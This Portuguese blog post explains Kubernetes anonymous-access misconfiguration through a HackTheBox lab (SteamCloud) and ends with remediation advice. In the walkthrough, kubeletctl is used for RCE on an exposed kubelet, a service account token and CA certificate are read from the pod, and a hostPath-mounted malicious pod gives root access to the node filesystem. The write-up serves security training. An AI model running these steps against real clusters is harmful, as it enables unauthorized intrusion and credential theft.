DEV Community

Guilherme Martins
Guilherme Martins

Posted on • Edited on

Explorando a api do kubernetes

O que é o Kubernetes?

O Kubernetes é um orquestrador de containers com foco em automatizar a implantação e gerencia automatizada de software. Foi criado pela Google e cedido a Cloud Native Computing Foundation como um projeto Open Source.

Arquitetura do Kubernetes

O kubernetes possui o control plane, onde realiza as decisões globais como realizar schedule de recursos (kube-schedule), detecta e executa eventos para todo o cluster (kube-controller-manager), armazena as informações sobre os recursos do cluster (etcd) e possuí seu http endpoint de acesso que pode ser público ou privado (kube-apiserver).

Como o kubernetes trabalha em cluster ele se precisa de outro recurso para se comunicar com os nodes. O recurso em questão é o kubelet que é um agent presente em todos os nodes do cluster, ele garante que os pods que o control plane designou para o node executem nas condições especificadas.

Nos nodes também estão presentes o kube-proxy que é responsável pelas regras de rede dos recursos presentes no node e o Container Runtime responsável pela criação dos containers dos respectivos pods. Um detalhe importante que o docker era o Container Runtime padrão, mas a partir da versão 1.24 do kubernetes passou a ser o containerd, que o docker usava por baixo dos panos, eliminando assim uma camada.

O nosso foco será no kubelet e kube-apiserver, onde iremos explorar um erro comum de configuração.

O kubernetes ele não é seguro por padrão, ou seja, é necessário realizar configurações de segurança para restringir o acesso a seus recursos. Muita das vezes não é restrito o acesso a usuários padrões e esse é o caso do acesso anônimo.

O anonymous access como é referido na documentação do kubernetes é habilitado no kube-apiserver através da seguinte flag setada como true:

--anonymous-auth=true
Enter fullscreen mode Exit fullscreen mode

Caso este parâmetro não esteja disponível nas configurações presuma que esta habilitado.

Este é um vetor de ataque que esta sendo ativamente explorado visando coleta de informações, segredos, mineração de criptomoedas e leaks, como podemos ver neste artigo publicado em 09/08/2023:
Malicious Campaigns exploit Weak Kubernetes Clusters for Crypto

Apesar de público, o acesso anônimo não disponibiliza acesso a muitos recursos do clusters, visto que após a autenticação é necessário que o usuário tenha autorização para acessar os recursos do kubernetes. O kubernetes possui políticas (RBAC) que limite o acesso anônimo a endpoints comuns como o /version por exemplo.

No entanto em alguns casos estas regras de autorização não estão sendo configuradas devidamente, permitindo que o acesso anônimo consiga criar workloads no kubernetes. E é isso que iremos ver agora.

Explorando um alvo

A demonstração deste tipo de vulnerabilidade será feita em um ambiente controlado, através de um máquina retired do Hackthebox.

O hackthebox é uma plataforma para treinamento de segurança e CTF, possuindo diversos ambientes, máquinas, trilhas e desafios com foco em pentest, red team e blue team.

Para esta demo iremos utilizar uma máquina chamada SteamCloud.

Em primeiro momento nos é disponibilizado o endereço ip da mesma e iremos realizar um scan utilizando nmap para verificar quais portas estão abertas no alvo:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# nmap -sV -Pn -sC 10.129.138.209
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 18:09 EDT
Nmap scan report for 10.129.138.209
Host is up (0.33s latency).

PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fcfb90ee7c73a1d4bf87f871e844c63c (RSA)
|   256 46832b1b01db71646a3e27cb536f81a1 (ECDSA)
|_  256 1d8dd341f3ffa437e8ac780889c2e3c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.138.209, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-07-21T21:46:58
|_Not valid after:  2024-07-20T21:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
2380/tcp  open  ssl/etcd-server?
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.138.209, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-07-21T21:46:58
|_Not valid after:  2024-07-20T21:46:58
8443/tcp  open  ssl/https-alt
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 30433f12-a711-4292-b944-5c81dd5fd6d5
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:38 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 0f21c6c0-f5e4-4a3e-8c19-fbb27a136219
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:33 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 136aa56a-0022-4991-8edc-4f5659678a84
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:36 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.138.209, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2023-07-20T21:46:56
|_Not valid after:  2026-07-20T21:46:56
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1689976020
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2023-07-21T20:47:00
|_Not valid after:  2024-07-20T20:47:00
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Enter fullscreen mode Exit fullscreen mode

Podemos notar que a porta 10250 esta aberta. Esta porta pertence ao kubelet. Podemos testar se conseguimos acesso utilizando o curl:

curl --insecure https://10.129.138.209:10250/pods
Enter fullscreen mode Exit fullscreen mode

Ou para uma melhor análise podemos usar uma ferramenta que automatiza esse tipo de análise e exploração chamada kubeletctl.

O kubeletctl é um cli para acessar o kubelet que automatiza análises de segurança, que de acordo com sua documentação possui as seguintes funcionalidades:

  • Run any kubelet API call
  • Scan for nodes with opened kubelet API
  • Scan for containers with RCE
  • Run a command on all the available containers by kubelet at the same time
  • Get service account tokens from all available containers by kubelet
  • Nice printing :)

Nesta demo estamos utilizando o binário na versão 1.7:
kubeletctl_linux_amd64

E com isso podemos listar os pods rodando na namespace default:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 pods
┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ kube-proxy-xxlrb                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ coredns-78fcd69978-p6tv6           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Podemos também procurar por vulnerabilidades, como neste caso um Remote Command Execution (RCE):

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 scan rce
┌───────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                    Node with pods vulnerable to RCE                                   │
├───┬────────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP        │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │                │                                    │             │                         │ RUN │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.129.138.209 │ nginx                              │ default     │ nginx                   │ +   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │                │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │                │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │                │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │                │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │                │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │                │ kube-proxy-xxlrb                   │ kube-system │ kube-proxy              │ +   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │                │ coredns-78fcd69978-p6tv6           │ kube-system │ coredns                 │ -   │
└───┴────────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘
Enter fullscreen mode Exit fullscreen mode

Note que o pod nginx possui permissão para execução de comandos, com isso podemos utilizar o kubectl (client para acesso a kube-apiserver) para interagir com o pod.

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)
Enter fullscreen mode Exit fullscreen mode

Agora que temos um RCE podemos buscar os certificados que o pod usa, desta forma conseguimos escalar privilégios!

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# export token=$(./kubeletctl --server 10.129.138.209 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx)

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx > ca.crt
Enter fullscreen mode Exit fullscreen mode

Salvando o token do serviceaccount que o pod usa e o certificado conseguimos ter as mesmas permissões que o pod possui.

O serviceaccount é utilizado como meio de vincular permissões (Roles ou ClusterRoles) a um recurso do kubernetes (pod, deployment e etc).

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl get pods --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          63m
Enter fullscreen mode Exit fullscreen mode

Podemos listar nossas permissões e assim realizar uma movimentação lateral ou continuar escalando privilégios:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl auth can-i --list --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
Enter fullscreen mode Exit fullscreen mode

Através da listagem de permissões e autorização acima notamos que podemos criar um pod. E isso é um grande problema!

Podemos criar um pod malicioso no qual iremos acessar o node. Para isso basta montar um volume mapeando o que queremos acessar no node. Neste caso iremos mapear o diretório /root.

apiVersion: v1
kind: Pod
metadata:
  name: nginxt
  namespace: default
spec:
  containers:
  - name: nginxt
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
Enter fullscreen mode Exit fullscreen mode

Agora basta criar o pod malicioso:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl apply -f f.yml  --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
pod/nginxt created
Enter fullscreen mode Exit fullscreen mode

E ao listar o conteúdo do nosso novo pod malicioso:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubectl --server 10.129.138.209 exec "ls -a" -p nginxt -c nginxt
.   .dockerenv  boot  etc   lib    media  opt   root  sbin  sys  usr
..  bin         dev   home  lib64  mnt    proc  run   srv   tmp  var

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubectl --server 10.129.138.209 exec "ls -a /root" -p nginxt -c nginxt
.     dev         initrd.img.old  libx32      opt   sbin  usr
..    etc         lib             lost+found  proc  srv   var
bin   home        lib32           media       root  sys   vmlinuz
boot  initrd.img  lib64           mnt         run   tmp   vmlinuz.old
Enter fullscreen mode Exit fullscreen mode

Com isso temos acesso total ao sistema de arquivos de node!

E com acesso ao node podemos agora procurar formas de nos mover lateralmente no cluster ou na rede interna, mapear volumes, sockets e etc.

E como resolver esse problema?

Em clusters em que não temos acesso ao control plane, que são gerenciados por clouds (GKE, AKS, EKS), por exemplo, podem ser verificadas regras e permissões relacionadas ao anonymous access e desabilitadas/removidas.

Já em clusters gerenciados (kubeadm, kubespray, rancher) pode ser feito o ajuste da para false da flag:

--anonymous-auth=false
Enter fullscreen mode Exit fullscreen mode

Lembrando que caso alguma aplicação que utilize os endpoints que seja através do anonymous access devem ser ajustadas, criando um acesso com as devidas permissões para isso.

Top comments (0)